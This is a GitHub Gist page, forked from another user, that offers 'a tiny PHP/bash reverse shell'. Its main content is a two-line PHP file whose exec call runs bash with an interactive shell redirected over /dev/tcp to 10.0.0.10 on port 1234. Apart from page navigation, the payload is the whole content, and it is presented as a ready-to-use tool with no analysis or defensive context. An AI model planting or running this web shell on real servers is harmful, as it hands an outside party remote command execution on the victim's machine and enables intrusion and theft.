Skip to content

Instantly share code, notes, and snippets.

@XaviTorello
Forked from rshipp/shell.php
Created December 17, 2017 03:47
Show Gist options
  • Save XaviTorello/a0e84cff607b143925ddbf5514df61fe to your computer and use it in GitHub Desktop.
Save XaviTorello/a0e84cff607b143925ddbf5514df61fe to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment